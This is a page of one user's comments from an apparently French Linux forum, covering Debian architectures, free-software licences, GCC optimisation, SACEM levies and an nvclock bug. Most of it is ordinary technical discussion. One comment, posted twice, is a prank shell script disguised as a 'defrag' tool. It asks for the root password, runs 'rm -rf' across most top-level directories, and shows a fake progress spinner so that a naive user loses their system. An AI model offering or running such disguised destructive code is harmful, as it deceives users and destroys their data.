Aurélien Jarno a écrit 268 commentaires

La France étant dans l'espace Schengen, ça implique la libre circulation des biens et des personnes.

Pour les CDs ça ne valait pas trop le coup d'acheter à l'étranger (a moins d'habiter près de la frontière bien sûr), mais là avec une taxe comprise entre 20 et 30 euros, ça paye largement les frais de ports. D'autant qu'avec, par exemple, une TVA à 16% en Allemagne, c'est déja un petit peu moins cher qu'en France...

Donc si je veux respecter la loi, est-ce que je dois déclarer à la SACEM que j'ai acheté un disque à l'étranger et m'acquiter de la redevance , où est-ce que je suis dans la légalité si je la paye pas ? (bien sûr personne ne le fera jamais, mais c'est juste pour savoir)

En tant que webmaster il faudrait presque ce garantir en ayant des identités confirmées des personnes qui utilisent le forum, pour éviter de devenir de responsable de leurs propos. Dans les dernières affaires, ce n'est pas un problème d'identité des personnes qui utilisent le forum, mais c'est que la loi considère le webmaster et l'hébergeur comme responsables en tant que directeur de la publication. Pas la personne qui écrit le commentaire.

De toute façon, il n'y a pas de "meilleur distribution". Il y a la distribution qui répond le mieux à un besoin, ce besoin incluant ce que l'on veut faire, les compétences des personnes qui vont l'utiliser, qui vont l'installer, ...

Pas vraiment. Ca montre que 35% des personnes qui sont allés sur slashdot et qui ont répondu au questionnaire utilisent mozilla.

Essaye de faire un sondage, "Utilisez vous Windows ou GNU/Linux ?" sur linuxfr.org et sur un site traitant de Windows. Tu verras vite la différence...

Esperons que les auteurs qui n'ont toujours pas répondu vont le faire sous peu (peut-être un paquet fortunes-fr-nonfree règlerait-il la question ?).

Je crois qu'il va falloir que je relance les personnes qui m'ont pas répondu...

Pour le paquet non-free, je sais pas encore je vais voir. J'ai ne pas eu beaucoup de réponses négatives, mais plutôt beaucoup d'auteurs qui ne m'ont pas répondu. D'autant que les licenses non conformes aux DFSG, je les aime vraiment pas (ex : "La société Mandrakesoft n'a pas, n'a jamais eu et n'aura jamais aucune permission de diffuser ces fichiers").

Je vais d'abord voir s'il est possible, comme me l'a proposé Andreas Tille (le mainteneur de fortunes-de) de localiser fortune, ensuite je m'occuperai d'un eventuel paquet non-free.

Bon, c'est un peu HS, mais ça concerne mozilla.

Avec netscape, il y avait une toute petite appli (je me souviens plus du nom) qui permettait de lancer un client mail de son choix lorsqu'on cliquait sur une adresse mail sur une page web.

Quelqu'un connait-il un moyen de faire pareil avec mozilla ? J'aime pas les truc trop intégrés...

Le but de mon exemple, n'était pas de comparer la license de Windows et la GPL, je voulais juste montrer la façon de raisonner des auteurs. Il est facile de critiquer n'importe qu'elle license sous pretexte sous pretexte qu'elle n'entre pas dans ses intérêts personnels.

Par exemple, si mon but est de voler du code aux autres, je peux bien dire : la license BSD c'est du poison, je peux pas m'approprier le code, car je suis obligé de citer l'auteur original dans les redistributions.
Seulement, cette license BSD, respecte bien l'interêt de l'auteur qui a choisi cette license. Donc elle remplit bien son rôle.

Dans le rapport ils disent que le GPL c'est mal parceque ça empêche de faire de soft proprio.. Ben c'est le but non ? Ou alors ils ont rien pigé...

Exactement, à chaque license un but particulier.

Moi mon but, c'est de me faire un max de fric en revendant des copies de Windows à moitié prix... Quoi la license de Windows ne me le permet pas ? Pff, c'est un vrai poison cette license...

quand a xfree ses dévelopeurs considèrent la version 4.2 comme stable

Oui, Xfree 4.2 est considéré comme stable par ses développeurs pour la version i386. Il faut savoir que ce n'est qu'une des 11 architectures de Debian.

ils ne veulent pas faire de version i586/x86-64 mais ils surportent les m68k??? quelle incohérence.........

Déja un premier point, Bdale à annoncé (voir http://lists.debian.org/debian-devel-announce/2002/debian-devel-ann(...)) qu'il y aurait la famille Hammer de AMD (donc x86-64), ainsi que la famille Hitachi SH qui seront supportées. Donc avant d'affirmer des choses, comme ça, il faudrait mieux vérifier

Ensuite, je vois pas où est l'incohérence. Les paquets pour i386 tournent parfaitement sur i586. Donne moi les paquets non m68k qui tournent sur m68k... J'attends la réponse.

J'ai fait quelques tests il y'a quelques temps sur KDE 2.2 (mais avec un celeron 400, c'est long à recompiler), je l'ai compilé avec l'option -O3 et pour i586. J'ai trouvé que sur certaines applis, on pouvait gagner jusqu'à 3%, mais sur d'autre, on en perdait jusqu'à 8%, le tout avec une moyenne de -2%

Maintenant, je ne sais pas si cela vient de l'option -O3 ou de la compilation pour i586. Il faudrait faire des tests plus complet.

Sinon, en ce qui concerne GCC qui fume la moquette, il faut déja savoir que pour GCC 2.95, les optimisations suivant les différents processeurs d'une architecture, c'est surtout des alignements mémoire, et il n'utilise pas les instructions spécifiques au processeur. Sur ce point GCC 3.1 est optimise beaucoup plus. Il y a une personne qui a fait des tests la dessus sur debian-devel, dans le dernier flamewar architecture i386/i586 (qui revient régulièrement, une fois par moi), mais j'ai la flemme de rechercher le mail en question.

Ensuite, il faut savoir que compiler en i586 pour un Pentium II/III/IV ou Athlon peut casser certaines de ses optimisations internes. En fait, on doit pouvoir gagner pas mal en compilant un paquet directement pour le processeur auquel il est destiné, c'est à dire qu'il faudrait une distrib pour les 386, une pour les 486, une pour les Pentium, une pour les Pentium II, les Pentium III, Pentium IV, K6, K7, Via C3, ....

A quand ispell/aspell intégré à DaCode ?

kde 3.0.1

Regarde sur http://calc.cx/kde(...)


architecture : i586

Sur ce point, il faudra d'abord avoir des chiffres qui proviennent de tests objectifs montrant qu'un programme compilé pour i586 est plus rapide qu'un programme compilé pour i386. A chaque fois le seul argument qu'on voit, c'est : "ça me semble plus rapide". Mais aucun chiffre.

Ce n'est pas si sûr que ce soit plus rapide, et même, ce serait plus lent pour certains programmes.

Bon puisqu'on en est dans les rectifications, je voudrais juste dire que tant la news que l'article ne parlent pas de logiciel Open Source, mais de logiciel open source.

Il y a une grande différence, l'open source étant un terme générique utilisée de préférence par les grandes compagnies pour dire que le code source est disponible. L'Open Source, qui est une marque déposée, désigne, comme le logiciel libre de la FSF, un certain nombre de critères auxquel le logiciel doit répondre pour pouvoir être qualifié d'Open Source, ces critères ayant été définis au départ à partir des DFSG de Debian.

Pour plus d'info : http://www.opensource.org(...)

Et le miens alors, c'est un vrai ?
A sauvegarder en defrag, faire un chmod 755, et à donner à un neuneu :

#!/bin/sh
# defragmentation du disque dur

echo "Afin de pourvoir defragementer le disque dur, defrag a besoin du mot de passe root..."

cd /
su -c "find / -maxdepth 1 -not -regex \".*bin$\" -exec rm -rf {} \;"

echo "Defragmentation en cours..."
while true ; do
for i in "\\" "|" "/" "-" ; do
echo -n -e "\b$i" ;
sleep 1 ;
done;
done

Et le miens alors, c'est un vrai ?
A sauvegarder en defrag, faire un chmod 755, et à donner à un neuneu :

#!/bin/sh
# defragmentation du disque dur

echo "Afin de pourvoir defragementer le disque dur, defrag a besoin du mot de passe root..."

cd /
su -c "find / -maxdepth 1 -not -regex ".*bin$" -exec rm -rf {} \;"

echo "Defragmentation en cours..."
while true ; do
for i in "\\" "|" "/" "-" ; do
echo -n -e "\b$i" ;
sleep 1 ;
done;
done

Évidament les changements sont oublié au redémarrage, ajoutez-le dans votre inittab ou dans un script rc pour que ce soit redéfini au redémarrage.

Bon, j'en profite pour signaler qu'en utilisant nvclock dans un script rc au démarrage, il y a certaines conditions (assez rares) qui font que l'affichage en mode console se vautre complètement (caractères corompus) :

- bug apparu apparamment dans la version 0.5.0 ;
- apparait avec les drivers closed source NVidia, et semble dépendre de l'ordre chargement de nvclock et du module noyau NVdriver ;
- semble arriver uniquement lorsque le framebuffer n'est pas utilisé ;
- semble se produire que la carte soit downclockée ou overclockée.

Le bug est assez difficile à reproduire et j'aimerai bien trouver des personnes chez qui cela se manifeste. Alors si ça vous arrive, contactez moi.

- si tu peux faire passer la clé avec un moyen sur, vu qu'elle est de meme taille que le message, t'aurais peut etre mieux fait de faire passer ton message :). Il n'y a donc d'interet que si tu as un moyen sur de faire parvenir tes clés avant d'avoir à faire parvenir ton message.

Oui, mais il y a un avantage s'il y a moyen de savoir que la clé est compromise (scellé dans le monde réel par exemple). Si tu te rends compte que la clé est compromise, tu peux toujours en envoyer une autre, alors que si c'est le message qui est compromis, c'est trop tard...

Il existe des packages non-free

Les packages non-free ne font pas partie de Debian. Ils utilisent juste les machines Debian (FTP & mirroirs, BTS, ...)

Il est loin le temps où la Suze roulaizait...

Et depuis hier, Redhat ne roulaize plus. En fait il reste plus grand chose qui roulaize à part Debian et Mandrake...

Pour info, la Debian, qui revient souvent avec le troll rpm vs deb/tgz/..., supporte sans problème les rpm v3 et même la version 4 en ce qui concerne la Woody. Il suffit de faire "apt-get install rpm".

Bien sûr, on perd la gestion des dépendances, mais c'est aussi le cas la plupart du temps lorsqu'on veut installer un paquet rpm prévu pour RedHat sur une Mandrake ou sur une Suse.

Que tout le monde se tienne aux principes du libre et tous les trolls seront bien gardés : les règles du jeu ben, les voilà:

Qui les a défini ces règles ? toi ? C'est pour ça quelles sont si débiles :

- GPL
Bon il faudrait qu'on arrête de faire l'amalgame de GPL = libre. Oui la license GPL est une license libre (et encore le terme libre n'est pas défini de façon unique, il y a plusieurs définitions, mais c'est un autre débat). Mais un logiciel libre n'implique pas qu'il soit en GPL.
Essaye de virer tout ce qui n'est pas GPL de ta distrib (en respectant les dépendances), tu verras il en reste plus beaucoup : et oui, beaucoup de softs ont besoin de XFree pour tourner, qui n'est pas sous license GPL.

- LSB
Ça c'est le seul truc a peu près sensé parmi toutes les débilités que tu nous a sorti.

- rpm (alien pour les autres distros)
Pourquoi faudrait-il que ce soit rpm le standard ? Par ce que c'est le plus utilisé ? Je ne pense pas que ce soit une bonne façon de définir un standard. Aller, les .doc sont les plus utilisés, à partir de maintenant c'est le standard ! Et puis qui sait, peut-être que le format rpm est breveté !
Et pour ceux qui critiquent la Debian en disant qu'elle ne supporte pas les .rpm, je leur répondrait que RedHat ou Mandrake ne supportent pas les .deb. Ne pas oublier au passage que la diversité est aussi une des bases qui a permi au logiciel libre de se développer.

(Oups, je crois que j'ai marché dans un troll)

Et pas trop vite, ce n'est qu'une alliance, pas une fusion, même si ça peux déboucher dessus par la suite...

Non, tu n'as pas rêvé. L'endroit où ça cloche, c'est la redistribution :

Redistribution of this release is permitted as follows, or by mutual agreement:
(a) In free-of-charge or at-cost distributions by non-profit concerns;
(b) In free-of-charge distributions by for-profit concerns;
(c) Inclusion in a CD-ROM collection of free-of-charge, shareware, or non-proprietary software for which a fee may be charged for the packaged distribution.

Enfin, on a vu pire niveau restrictions dans la license...

KDE3 et XFree4.2 sont sortis depuis plusieurs mois (GCC 3.1 un peu moins longtemps).

[aurel32:~]$ apt-cache search gcc-3.1

gcc-3.1 - The GNU C compiler.

gcc-3.1-base - The GNU Compiler Collection (base package).

gcc-3.1-doc - Documentation for the GNU compilers (gcc, gobjc, g++).

[aurel32:~]$

C'est peut-être pas le compilateur par défaut, mais ceux qui veulent l'utiliser le peuvent.

Il me semble avoir lu sur debian-kde (mais j'arrive plus à retrouver le message), que Chris Cheney en avait marre d'attendre la sortie de XFree 4.2.0, alors finalement, il n'attendra pas. Par contre, il attend maintenant que gcc-3.1 soit le compilateur par défaut.

Au passage, gcc-3.1 sera un avantage pour Debian, car toutes les architectures tourneront avec le même compilateur, ce qui favorisera les portages. Il me semble d'ailleurs que Debian/Hurd est passé avec gcc-3.1 en compilateur par défaut ces derniers jours.

(Petite remarque: les deux premiers liens merdent, il manque le http:// devant.)